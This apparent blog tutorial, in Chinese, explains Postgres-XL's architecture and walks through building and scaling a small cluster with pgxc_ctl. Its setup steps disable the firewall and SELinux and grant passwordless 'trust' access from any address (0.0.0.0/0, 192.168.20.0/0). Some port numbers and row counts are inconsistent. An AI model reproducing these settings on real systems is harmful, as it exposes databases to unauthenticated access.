...架构 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-M9lFuEIP-1640133702200)(./assets/postgre-xl.jpg)] 基于开源项目Postgres-XC XL增加了MPP,允许数据节点间直接通讯,交换复杂跨节点关联查询相关数据信息,减少协调器负载。 多个协调器(Coordinator) 应用程序的数据库连入点 分析查询语句,生成执行计划 多个数据节点(DataNode) 实际的数据存储 数据自动打散分布到集群中各数据节点 本地执行查询 一个查询在所有相关节点上并行查询 全局事务管理器(GTM:Global Transaction Manager) 提供事务间一致性视图 部署GTM Proxy实例,以提高性能 Postgre-XL主要组件 GTM (Global Transaction Manager) - 全局事务管理器 GTM是Postgres-XL的一个关键组件,用于提供一致的事务管理和元组可见性控制。 GTM Standby GTM的备节点,在pgxc,pgxl中,GTM控制所有的全局事务分配,如果出现问题,就会导致整个集群不可用,为了增加可用性,增加该备用节点。当GTM出现问题时,GTM Standby可以升级为GTM,保证集群正常工作。 GTM-Proxy GTM需要与所有的Coordinators通信,为了降低压力,可以在每个Coordinator机器上部署一个GTM-Proxy。 Coordinator --协调器 协调器是应用程序到数据库的接口。它的作用类似于传统的PostgreSQL后台进程,但是协调器不存储任何实际数据。实际数据由数据节点存储。协调器接收SQL语句,根据需要获取全局事务Id和全局快照,确定涉及哪些数据节点,并要求它们执行(部分)语句。当向数据节点发出语句时,它与GXID和全局快照相关联,以便多版本并发控制(MVCC)属性扩展到集群范围。 Datanode --数据节点 用于实际存储数据。表可以分布在各个数据节点之间,也可以复制到所有数据节点。数据节点没有整个数据库的全局视图,它只负责本地存储的数据。接下来,协调器将检查传入语句,并制定子计划。然后,根据需要将这些数据连同GXID和全局快照一起传输到涉及的每个数据节点。数据节点可以在不同的会话中接收来自各个协调器的请求。但是,由于每个事务都是惟一标识的,并且与一致的(全局)快照相关联,所以每个数据节点都可以在其事务和快照上下文中正确执行。 Postgres-XL继承了PostgreSQL Postgres-XL是PostgreSQL的扩展并继承了其很多特性: 复杂查询 外键 触发器 视图 事务 MVCC(多版本控制) 此外,类似于PostgreSQL,用户可以通过多种方式扩展Postgres-XL,例如添加新的 数据类型 函数 操作 聚合函数 索引类型 过程语言 安装 环境说明 由于资源有限,gtm一台、另外两台身兼数职。 主机名 IP 角色 端口 nodename 数据目录 gtm 192.168.20.132 GTM 6666 gtm /nodes/gtm 协调器 5432 coord1 /nodes/coordinator xl1 192.168.20.133 数据节点 5433 node1 /nodes/pgdata gtm代理 6666 gtmpoxy01 /nodes/gtm_pxy1 协调器 5432 coord2 /nodes/coordinator xl2 192.168.20.134 数据节点 5433 node2 /nodes/pgdata gtm代理 6666 gtmpoxy02 /nodes/gtm_pxy2 要求 GNU make版本 3.8及以上版本 [root@pg ~] make --versionGNU Make 3.82Built for x86_64-redhat-linux-gnuCopyright (C) 2010 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law. 需安装GCC包 需安装tar包 用于解压缩文件 默认需要GNU Readline library 其作用是可以让psql命令行记住执行过的命令,并且可以通过键盘上下键切换命令。但是可以通过--without-readline禁用这个特性,或者可以指定--withlibedit-preferred选项来使用libedit 默认使用zlib压缩库 可通过--without-zlib选项来禁用 配置hosts 所有主机上都配置 [root@xl2 11] cat /etc/hosts127.0.0.1 localhost192.168.20.132 gtm192.168.20.133 xl1192.168.20.134 xl2 关闭防火墙、Selinux 所有主机都执行 关闭防火墙: [root@gtm ~] systemctl stop firewalld.service[root@gtm ~] systemctl disable firewalld.service selinux设置: [root@gtm ~]vim /etc/selinux/config 设置SELINUX=disabled,保存退出。 This file controls the state of SELinux on the system. SELINUX= can take one of these three values: enforcing - SELinux security policy is enforced. permissive - SELinux prints warnings instead of enforcing. disabled - No SELinux policy is loaded.SELINUX=disabled SELINUXTYPE= can take one of three two values: targeted - Targeted processes are protected, minimum - Modification of targeted policy. Only selected processes are protected. mls - Multi Level Security protection. 安装依赖包 所有主机上都执行 yum install -y flex bison readline-devel zlib-devel openjade docbook-style-dsssl gcc 创建用户 所有主机上都执行 [root@gtm ~] useradd postgres[root@gtm ~] passwd postgres[root@gtm ~] su - postgres[root@gtm ~] mkdir ~/.ssh[root@gtm ~] chmod 700 ~/.ssh 配置SSH免密登录 仅仅在gtm节点配置如下操作: [root@gtm ~] su - postgres[postgres@gtm ~] ssh-keygen -t rsa[postgres@gtm ~] cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys[postgres@gtm ~] chmod 600 ~/.ssh/authorized_keys 将刚生成的认证文件拷贝到xl1到xl2中,使得gtm节点可以免密码登录xl1~xl2的任意一个节点: [postgres@gtm ~] scp ~/.ssh/authorized_keys postgres@xl1:~/.ssh/[postgres@gtm ~] scp ~/.ssh/authorized_keys postgres@xl2:~/.ssh/ 对所有提示都不要输入,直接enter下一步。直到最后,因为第一次要求输入目标机器的用户密码,输入即可。 下载源码 下载地址:https://www.postgres-xl.org/download/ [root@slave ~] ll postgres-xl-10r1.1.tar.gz-rw-r--r-- 1 root root 28121666 May 30 05:21 postgres-xl-10r1.1.tar.gz 编译、安装Postgres-XL 所有节点都安装,编译需要一点时间,最好同时进行编译。 [root@slave ~] tar xvf postgres-xl-10r1.1.tar.gz[root@slave ~] ./configure --prefix=/home/postgres/pgxl/[root@slave ~] make[root@slave ~] make install[root@slave ~] cd contrib/ --安装必要的工具,在gtm节点上安装即可[root@slave ~] make[root@slave ~] make install 配置环境变量 所有节点都要配置 进入postgres用户,修改其环境变量,开始编辑 [root@gtm ~]su - postgres[postgres@gtm ~]vi .bashrc --不是.bash_profile 在打开的文件末尾,新增如下变量配置: export PGHOME=/home/postgres/pgxlexport LD_LIBRARY_PATH=$PGHOME/lib:$LD_LIBRARY_PATHexport PATH=$PGHOME/bin:$PATH 按住esc,然后输入:wq!保存退出。输入以下命令对更改重启生效。 [postgres@gtm ~] source .bashrc --不是.bash_profile 输入以下语句,如果输出变量结果,代表生效 [postgres@gtm ~] echo $PGHOME 应该输出/home/postgres/pgxl代表生效 配置集群 生成pgxc_ctl.conf配置文件 [postgres@gtm ~] pgxc_ctl prepare/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxl/pgxc_ctl/pgxc_ctl_bash.ERROR: File "/home/postgres/pgxl/pgxc_ctl/pgxc_ctl.conf" not found or not a regular file. No such file or directoryInstalling pgxc_ctl_bash script as /home/postgres/pgxl/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxl/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxl/pgxc_ctl --configuration /home/postgres/pgxl/pgxc_ctl/pgxc_ctl.confFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxl/pgxc_ctl 配置pgxc_ctl.conf 新建/home/postgres/pgxc_ctl/pgxc_ctl.conf文件,编辑如下: 对着模板文件一个一个修改,否则会造成初始化过程出现各种神奇问题。 pgxcInstallDir=$PGHOMEpgxlDATA=$PGHOME/data pgxcOwner=postgres---- GTM Master -----------------------------------------gtmName=gtmgtmMasterServer=gtmgtmMasterPort=6666gtmMasterDir=$pgxlDATA/nodes/gtmgtmSlave=y Specify y if you configure GTM Slave. Otherwise, GTM slave will not be configured and all the following variables will be reset.gtmSlaveName=gtmSlavegtmSlaveServer=gtm value none means GTM slave is not available. Give none if you don't configure GTM Slave.gtmSlavePort=20001 Not used if you don't configure GTM slave.gtmSlaveDir=$pgxlDATA/nodes/gtmSlave Not used if you don't configure GTM slave.---- GTM-Proxy Master -------gtmProxyDir=$pgxlDATA/nodes/gtm_proxygtmProxy=y gtmProxyNames=(gtm_pxy1 gtm_pxy2) gtmProxyServers=(xl1 xl2) gtmProxyPorts=(6666 6666) gtmProxyDirs=($gtmProxyDir $gtmProxyDir) ---- Coordinators ---------coordMasterDir=$pgxlDATA/nodes/coordcoordNames=(coord1 coord2) coordPorts=(5432 5432) poolerPorts=(6667 6667) coordPgHbaEntries=(0.0.0.0/0)coordMasterServers=(xl1 xl2) coordMasterDirs=($coordMasterDir $coordMasterDir)coordMaxWALsernder=0 没设置备份节点,设置为0coordMaxWALSenders=($coordMaxWALsernder $coordMaxWALsernder) 数量保持和coordMasterServers一致coordSlave=n---- Datanodes ----------datanodeMasterDir=$pgxlDATA/nodes/dn_masterprimaryDatanode=xl1 主数据节点datanodeNames=(node1 node2)datanodePorts=(5433 5433) datanodePoolerPorts=(6668 6668) datanodePgHbaEntries=(0.0.0.0/0)datanodeMasterServers=(xl1 xl2)datanodeMasterDirs=($datanodeMasterDir $datanodeMasterDir)datanodeMaxWalSender=4datanodeMaxWALSenders=($datanodeMaxWalSender $datanodeMaxWalSender) 集群初始化,启动,停止 初始化 pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf init all 输出结果: /bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlStopping all the coordinator masters.Stopping coordinator master coord1.Stopping coordinator master coord2.pg_ctl: directory "/home/postgres/pgxc/nodes/coord/coord1" does not existpg_ctl: directory "/home/postgres/pgxc/nodes/coord/coord2" does not existDone.Stopping all the datanode masters.Stopping datanode master datanode1.Stopping datanode master datanode2.pg_ctl: PID file "/home/postgres/pgxc/nodes/datanode/datanode1/postmaster.pid" does not existIs server running?Done.Stop GTM masterwaiting for server to shut down.... doneserver stopped[postgres@gtm ~]$ echo $PGHOME/home/postgres/pgxl[postgres@gtm ~]$ ll /home/postgres/pgxl/pgxc/nodes/gtm/gtm.^C[postgres@gtm ~]$ pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf init all/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlInitialize GTM masterERROR: target directory (/home/postgres/pgxc/nodes/gtm) exists and not empty. Skip GTM initilializationDone.Start GTM masterserver startingInitialize all the coordinator masters.Initialize coordinator master coord1.ERROR: target coordinator master coord1 is running now. Skip initilialization.Initialize coordinator master coord2.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/coord/coord2 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.Done.Starting coordinator master.Starting coordinator master coord1ERROR: target coordinator master coord1 is already running now. Skip initialization.Starting coordinator master coord22019-05-30 21:09:25.562 EDT [2148] LOG: listening on IPv4 address "0.0.0.0", port 54322019-05-30 21:09:25.562 EDT [2148] LOG: listening on IPv6 address "::", port 54322019-05-30 21:09:25.563 EDT [2148] LOG: listening on Unix socket "/tmp/.s.PGSQL.5432"2019-05-30 21:09:25.601 EDT [2149] LOG: database system was shut down at 2019-05-30 21:09:22 EDT2019-05-30 21:09:25.605 EDT [2148] LOG: database system is ready to accept connections2019-05-30 21:09:25.612 EDT [2156] LOG: cluster monitor startedDone.Initialize all the datanode masters.Initialize the datanode master datanode1.Initialize the datanode master datanode2.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/datanode/datanode1 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/datanode/datanode2 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.Done.Starting all the datanode masters.Starting datanode master datanode1.WARNING: datanode master datanode1 is running now. Skipping.Starting datanode master datanode2.2019-05-30 21:09:33.352 EDT [2404] LOG: listening on IPv4 address "0.0.0.0", port 154322019-05-30 21:09:33.352 EDT [2404] LOG: listening on IPv6 address "::", port 154322019-05-30 21:09:33.355 EDT [2404] LOG: listening on Unix socket "/tmp/.s.PGSQL.15432"2019-05-30 21:09:33.392 EDT [2404] LOG: redirecting log output to logging collector process2019-05-30 21:09:33.392 EDT [2404] HINT: Future log output will appear in directory "pg_log".Done.psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"Done.psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"Done.[postgres@gtm ~]$ pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf stop all/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlStopping all the coordinator masters.Stopping coordinator master coord1.Stopping coordinator master coord2.pg_ctl: directory "/home/postgres/pgxc/nodes/coord/coord1" does not existDone.Stopping all the datanode masters.Stopping datanode master datanode1.Stopping datanode master datanode2.pg_ctl: PID file "/home/postgres/pgxc/nodes/datanode/datanode1/postmaster.pid" does not existIs server running?Done.Stop GTM masterwaiting for server to shut down.... doneserver stopped[postgres@gtm ~]$ pgxc_ctl/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlPGXC monitor allNot running: gtm masterRunning: coordinator master coord1Not running: coordinator master coord2Running: datanode master datanode1Not running: datanode master datanode2PGXC stop coordinator master coord1Stopping coordinator master coord1.pg_ctl: directory "/home/postgres/pgxc/nodes/coord/coord1" does not existDone.PGXC stop datanode master datanode1Stopping datanode master datanode1.pg_ctl: PID file "/home/postgres/pgxc/nodes/datanode/datanode1/postmaster.pid" does not existIs server running?Done.PGXC monitor allNot running: gtm masterRunning: coordinator master coord1Not running: coordinator master coord2Running: datanode master datanode1Not running: datanode master datanode2PGXC monitor allNot running: gtm masterNot running: coordinator master coord1Not running: coordinator master coord2Not running: datanode master datanode1Not running: datanode master datanode2PGXC exit[postgres@gtm ~]$ pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf init all/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlInitialize GTM masterERROR: target directory (/home/postgres/pgxc/nodes/gtm) exists and not empty. Skip GTM initilializationDone.Start GTM masterserver startingInitialize all the coordinator masters.Initialize coordinator master coord1.Initialize coordinator master coord2.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/coord/coord1 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/coord/coord2 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.Done.Starting coordinator master.Starting coordinator master coord1Starting coordinator master coord22019-05-30 21:13:03.998 EDT [25137] LOG: listening on IPv4 address "0.0.0.0", port 54322019-05-30 21:13:03.998 EDT [25137] LOG: listening on IPv6 address "::", port 54322019-05-30 21:13:04.000 EDT [25137] LOG: listening on Unix socket "/tmp/.s.PGSQL.5432"2019-05-30 21:13:04.038 EDT [25138] LOG: database system was shut down at 2019-05-30 21:13:00 EDT2019-05-30 21:13:04.042 EDT [25137] LOG: database system is ready to accept connections2019-05-30 21:13:04.049 EDT [25145] LOG: cluster monitor started2019-05-30 21:13:04.020 EDT [2730] LOG: listening on IPv4 address "0.0.0.0", port 54322019-05-30 21:13:04.020 EDT [2730] LOG: listening on IPv6 address "::", port 54322019-05-30 21:13:04.021 EDT [2730] LOG: listening on Unix socket "/tmp/.s.PGSQL.5432"2019-05-30 21:13:04.057 EDT [2731] LOG: database system was shut down at 2019-05-30 21:13:00 EDT2019-05-30 21:13:04.061 EDT [2730] LOG: database system is ready to accept connections2019-05-30 21:13:04.062 EDT [2738] LOG: cluster monitor startedDone.Initialize all the datanode masters.Initialize the datanode master datanode1.Initialize the datanode master datanode2.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/datanode/datanode1 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/datanode/datanode2 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.Done.Starting all the datanode masters.Starting datanode master datanode1.Starting datanode master datanode2.2019-05-30 21:13:12.077 EDT [25392] LOG: listening on IPv4 address "0.0.0.0", port 154322019-05-30 21:13:12.077 EDT [25392] LOG: listening on IPv6 address "::", port 154322019-05-30 21:13:12.079 EDT [25392] LOG: listening on Unix socket "/tmp/.s.PGSQL.15432"2019-05-30 21:13:12.114 EDT [25392] LOG: redirecting log output to logging collector process2019-05-30 21:13:12.114 EDT [25392] HINT: Future log output will appear in directory "pg_log".2019-05-30 21:13:12.079 EDT [2985] LOG: listening on IPv4 address "0.0.0.0", port 154322019-05-30 21:13:12.079 EDT [2985] LOG: listening on IPv6 address "::", port 154322019-05-30 21:13:12.081 EDT [2985] LOG: listening on Unix socket "/tmp/.s.PGSQL.15432"2019-05-30 21:13:12.117 EDT [2985] LOG: redirecting log output to logging collector process2019-05-30 21:13:12.117 EDT [2985] HINT: Future log output will appear in directory "pg_log".Done.psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"Done.psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"Done. 启动 pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf start all 关闭 pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf stop all 查看集群状态 [postgres@gtm ~]$ pgxc_ctl monitor all/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlRunning: gtm masterRunning: coordinator master coord1Running: coordinator master coord2Running: datanode master datanode1Running: datanode master datanode2 配置集群信息 分别在数据节点、协调器节点上分别执行以下命令: 注:本节点只执行修改操作即可(alert node),其他节点执行创建命令(create node)。因为本节点已经包含本节点的信息。 create node coord1 with (type=coordinator,host=xl1, port=5432);create node coord2 with (type=coordinator,host=xl2, port=5432);alter node coord1 with (type=coordinator,host=xl1, port=5432);alter node coord2 with (type=coordinator,host=xl2, port=5432);create node datanode1 with (type=datanode, host=xl1,port=15432,primary=true,PREFERRED);create node datanode2 with (type=datanode, host=xl2,port=15432);alter node datanode1 with (type=datanode, host=xl1,port=15432,primary=true,PREFERRED);alter node datanode2 with (type=datanode, host=xl2,port=15432);select pgxc_pool_reload(); 分别登陆数据节点、协调器节点验证 postgres= select from pgxc_node;node_name | node_type | node_port | node_host | nodeis_primary | nodeis_preferred | node_id-----------+-----------+-----------+-----------+----------------+------------------+-------------coord1 | C | 5432 | xl1 | f | f | 1885696643coord2 | C | 5432 | xl2 | f | f | -1197102633datanode2 | D | 15432 | xl2 | f | f | -905831925datanode1 | D | 15432 | xl1 | t | f | 888802358(4 rows) 测试 插入数据 在数据节点1,执行相关操作。 通过协调器端口登录PG [postgres@xl1 ~]$ psql -p 5432psql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= create database lei;CREATE DATABASEpostgres= \c lei;You are now connected to database "lei" as user "postgres".lei= create table test1(id int,name text);CREATE TABLElei= insert into test1(id,name) select generate_series(1,8),'测试';INSERT 0 8lei= select from test1;id | name----+------1 | 测试2 | 测试5 | 测试6 | 测试8 | 测试3 | 测试4 | 测试7 | 测试(8 rows) 注:默认创建的表为分布式表,也就是每个数据节点值存储表的部分数据。关于表类型具体说明,下面有说明。 通过15432端口登录数据节点,查看数据 有5条数据 [postgres@xl1 ~]$ psql -p 15432psql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= \c lei;You are now connected to database "lei" as user "postgres".lei= select from test1;id | name----+------1 | 测试2 | 测试5 | 测试6 | 测试8 | 测试(5 rows) 登录到节点2,查看数据 有3条数据 [postgres@xl2 ~]$ psql -p15432psql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= \c lei;You are now connected to database "lei" as user "postgres".lei= select from test1;id | name----+------3 | 测试4 | 测试7 | 测试(3 rows) 两个节点的数据加起来整个8条,没有问题。 至此Postgre-XL集群搭建完成。 创建数据库、表时可能会出现以下错误: ERROR: Failed to get pooled connections 是因为pg_hba.conf配置不对,所有节点加上host all all 192.168.20.0/0 trust并重启集群即可。 ERROR: No Datanode defined in cluster 首先确认是否创建了数据节点,也就是create node相关的命令。如果创建了则执行select pgxc_pool_reload();使其生效即可。 集群管理与应用 表类型说明 REPLICATION表:各个datanode节点中,表的数据完全相同,也就是说,插入数据时,会分别在每个datanode节点插入相同数据。读数据时,只需要读任意一个datanode节点上的数据。 建表语法: CREATE TABLE repltab (col1 int, col2 int) DISTRIBUTE BY REPLICATION; DISTRIBUTE :会将插入的数据,按照拆分规则,分配到不同的datanode节点中存储,也就是sharding技术。每个datanode节点只保存了部分数据,通过coordinate节点可以查询完整的数据视图。 CREATE TABLE disttab(col1 int, col2 int, col3 text) DISTRIBUTE BY HASH(col1); 模拟数据插入 任意登录一个coordinate节点进行建表操作 [postgres@gtm ~]$ psql -h xl1 -p 5432 -U postgrespostgres= INSERT INTO disttab SELECT generate_series(1,100), generate_series(101, 200), 'foo';INSERT 0 100postgres= INSERT INTO repltab SELECT generate_series(1,100), generate_series(101, 200);INSERT 0 100 查看数据分布结果: DISTRIBUTE表分布结果 postgres= SELECT xc_node_id, count() FROM disttab GROUP BY xc_node_id;xc_node_id | count ------------+-------1148549230 | 42-927910690 | 58(2 rows) REPLICATION表分布结果 postgres= SELECT count() FROM repltab;count -------100(1 row) 查看另一个datanode2中repltab表结果 [postgres@datanode2 pgxl9.5]$ psql -p 15432psql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= SELECT count() FROM repltab;count -------100(1 row) 结论:REPLICATION表中,datanode1,datanode2中表是全部数据,一模一样。而DISTRIBUTE表,数据散落近乎平均分配到了datanode1,datanode2节点中。 新增数据节点与数据重分布 在线新增节点、并重新分布数据。 新增datanode节点 在gtm集群管理节点上执行pgxc_ctl命令 [postgres@gtm ~]$ pgxc_ctl/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.confFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlPGXC 在服务器xl3上,新增一个master角色的datanode节点,名称是datanode3 端口号暂定5430,pool master暂定6669 ,指定好数据目录位置,从两个节点升级到3个节点,之后要写3个none none应该是datanodeSpecificExtraConfig或者datanodeSpecificExtraPgHba配置PGXC add datanode master datanode3 xl3 15432 6671 /home/postgres/pgxc/nodes/datanode/datanode3 none none none 等待新增完成后,查询集群节点状态: postgres= select from pgxc_node;node_name | node_type | node_port | node_host | nodeis_primary | nodeis_preferred | node_id-----------+-----------+-----------+-----------+----------------+------------------+-------------datanode1 | D | 15432 | xl1 | t | f | 888802358datanode2 | D | 15432 | xl2 | f | f | -905831925datanode3 | D | 15432 | xl3 | f | f | -705831925coord1 | C | 5432 | xl1 | f | f | 1885696643coord2 | C | 5432 | xl2 | f | f | -1197102633(4 rows) 节点新增完毕 数据重新分布 由于新增节点后无法自动完成数据重新分布,需要手动操作。 DISTRIBUTE表分布在了node1,node2节点上,如下: postgres= SELECT xc_node_id, count() FROM disttab GROUP BY xc_node_id;xc_node_id | count ------------+-------1148549230 | 42-927910690 | 58(2 rows) 